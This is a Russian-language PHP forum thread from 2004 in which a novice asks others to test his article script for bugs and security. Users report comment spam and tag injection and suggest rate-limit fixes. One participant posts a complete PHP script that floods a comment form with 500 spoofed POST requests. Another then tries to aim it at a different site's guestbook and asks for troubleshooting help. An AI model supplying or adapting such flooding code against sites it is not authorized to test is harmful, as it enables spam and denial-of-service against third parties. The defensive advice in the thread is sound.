написал свой первый скрипт на пхп.. скрипт статей.. хочу предложить вам на рассмотрение. там практически все готово, единственное еще разделы сделаю потом.. Потестите его на безопасность и глюки плз. Сразу говорю, некоторые идеи брал из других скриптов. Заранее спасибо.
Вот линк: http://filmoscope.h12.ru/test/

Я зажал кнопку добавить и коментарии полезли много раз
И место для ввода почты маленькое, [email protected] не влезла
И ещё урезай строчки вот так: substr($str, 0, $max);
И все коментарии на одной странице не хорошо

Это сообщение отредактировал(а) Elfet - 30.5.2004, 19:14

Цитата

substr($str, 0, $max);

А еще альтернатива, вот так:

Код

$n = 50;//аналогично $max $text = eregi("(.*){$n}",$text);

ого-го.. щас править буду..
там ведь езе можно зарегатсья и самому статьи добавлять..

насчет емайла поставил на 30..
и то вы больше не сможете сделать.. тестите дальше

разделение комментариев по странично сделаю позже..
Ну что, кто еще найдет глюки?

Не исправил ты если много раз жать. Можешь посмотреть, комментарии "haha" добавлены буквально за 5 сек

ладно, вечером поправлю..

так, сделал почти все, осталось только защиту от повторного нажатия сделать.. может еще кто что найдет?

Цитата

защиту от повторного нажатия сделать

Можно сделать как сдесь , на форуме

Да, весьма действенная защита, надо сказать! Всего-то: onclick="javascript:this.disabled='true'" Или <script> form.onsubmit = form.subm_butt.disabled="true" </script> (подразумевается что form - название формы, а subm_butt - кнопки "Добавить")

Это сообщение отредактировал(а) Axxent - 1.6.2004, 18:59

Gliuk - esli pri dobavlenii statii ispolzovat tagi to prosto statia ne budet visvechivatsa nikak. i eshe sdelai ogronichenia
na width i height i img tagov.

2Elfet & 2Axxent
Я так и хотел сделать, но посоветовался с людьми некоторыми и они сказали, что js можно легко обойти, поэтому скоро сделаю подругому. типа сравнивается с последним(ими) добавленными уже и если уже такой комментарий есть, то не добавлять..

2dargaard
Спасибо, скоро сделаю(наверное сегодня)..

Теперь вот здесь тестирование: http://filmoscope.h12.ru/

Знаешь, если ты делаешь защиту от случайных повторных отправок, то JS - это самое то. Ну а если уж тебе надо защиту от хакеров, типа от заваливания твоих новостей одинаковыми сообщениями - ну, тогда наверное правда надо сделать таймаут ожидания после отправки сообщения на стороне сервера

2Axxent
хорошо, тогда так и сделаю.. js.. посмотрим что выйдет.. хакеры если захотят, то все-равно взломают..

все, защиту от повторного нажатия сделал..

pri dobavlenii statii vse ravno mozhno ispolzovat' v opisanii nekotorie tagi
(pri etom sozdastsia statia bez vsiakogo nazvania;) )

2dargaard
да, я знаю, я это еще не поправил.. скоро будет.. а пока на bbcode все передал.. ща залью..
Добавлено @ 21:10
и у картинок кое-что изменил..

сделал защиту от двойного нажатия при добавлении комментариев.. щас сделаю, чтобы нельзя было без названия добавлять статью..

И ещё сразу лучше под хороший дизайн движок делать

Elfet
ну.. если есть движок, то под дизайн подстроить это 5 сек(т.к. все не шаблонах), а если делать сразу на хорошем дизайне(много картинок и пр.), то будет долго грузиться..

ну что, нету чтоли больше багов? если так, то всем спасибо за тесты.. буду дальше писать другие скрипты..

вот тут 3 статьи интересные есть. есть желание - прочитайте.. есть интересные статьи(рассказы) - добавляйте..
http://filmoscope.h12.ru/index.php?id=15
http://filmoscope.h12.ru/index.php?id=14
http://filmoscope.h12.ru/index.php?id=8

народ! сделал разделы, потестите плз! наверняка есть глюки..

ладно, всем спасибо, на этом думаю закончим тестирование. думаю багов больше нет.

Нипавезло твоим комментариям... Правда защита самого хостинга спасла. Так бы снесло нафиг там все

yUAC
ого, эт ты как делал? прогой какой-нить? как можно защититься от этого?

Не поверишь, маленький скриптик написал:

Код

<? $host='filmoscope.h12.ru'; $adr='/comments.php?id=2&part=main'; $ref='http://'.$host.$adr; set_time_limit(0); //** // Формируем запрос. echo '<!-- '.str_repeat('-',256).' -->'; for($i=0;$i<500;$i++) { $f = fsockopen($host, 80); $query_str = "name=flooder&text=".urlencode('Flood number '.$i.', for stability additional is '.rand()); $output = "POST ".$adr." HTTP/1.0\n"; $output .= "Host: ".$host."\n"; $output .= "User-Agent: Hackzilla/5.0 (U; Windows Longhorn; en-US; rv:1.5) Gecko/2005/1007"; $output .= "Accept: application/microsoft-word;q=0.2,*/*;q=0.1\n"; $output .= "Accept-Language: ru,en;q=0.8,en-gb;q=0.5,en-us;q=0.3"; $output .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"; $output .= "Keep-Alive: 300"; $output .= "Referer: ".$ref."\n"; $output .= "Content-Type: application/x-www-form-urlencoded\n"; $output .= "Content-Length: ".strlen($query_str)."\n"; $output .= "Connection: keep-alive\n\n"; $output .= $query_str; fputs($f, $output); fclose($f); // Принимаем ответ. /*$recieved = ""; while (!feof($f)) $recieved .= fgets($f, 500); echo $recieved;*/ //** echo '.&shy;'; flush(); } ?>

Хорошо флудит, между прочим. А защищаться довольно просто... Записывать в файлик дату последнего добавления сообщения для этого комментария. И первым делом её доставать, смотреть, если она скажем меньше 20 секунд, то выставить её опять на 20 секунд и сказать, что типа низя добавлять так часто комментарии. И все. Обычно помогает даже при такой атаке (конечно, парочка сообщений может «пробиться», но не более того)

ок, большое спасибо, обязательно поправлю..

Пожалуйста... Всегда рад помочь

н-да.. че-то я никак не придумаю как эту защиту сделать.. можно конечно через куки, но их всегда можно отключить, тогда как?

yUAC
можно у тебя узнать кое-что насчет твоего скрипта? почему если я на другой сайт прописываю его, то пишет ошибка коннекта? что нужно еще поменять?

Надо ему еще немножко $query_str поменять под нужный сайт, чтобы POST-данные отправлялись. Если нужно посмотреть, что выдает сервер, снимите комментарий оттуда (там где принимаем ответ) и поставьте цикл на 2 оборота

$query_str поменял как надо..цикл поставил.. пишет:

Warning: fsockopen(): php_hostconnect: connect failed in ... on line 13
Warning: fsockopen(): unable to connect to ***:80 in ... on line 13
Warning: fputs(): supplied argument is not a valid stream resource in ... on line 31
Warning: fclose(): supplied argument is not a valid stream resource in ... on line 32
Warning: feof(): supplied argument is not a valid stream resource in ... on line 35
Warning: fgets(): supplied argument is not a valid stream resource in ... on line 35
Warning: feof(): supplied argument is not a valid stream resource in ... on line 35
Warning: fgets(): supplied argument is not a valid stream resource in ... on line 35
Warning: feof(): supplied argument is not a valid stream resource in ... on line 35
Warning: fgets(): supplied argument is not a valid stream resource in ... on line 35

и т.д. вместо точек(...) там путь к скрипту, а вместо звездочек(***) сервер.. типа myserver.com


Добавлено @ 22:18
даже хост не открывается.. написал так:

Код

$host='***.ru'; $adr='/guestbook/guestbook.php?book=form'; $ref='http://'.$host.$adr; set_time_limit(0); echo '<!-- '.str_repeat('-',256).' -->'; for($i=0;$i<2;$i++) { $f = fsockopen($host, 80);

вот это 13 строка как раз..

Это сообщение отредактировал(а) RaZoR - 10.6.2004, 22:18

ну так что, yUAC?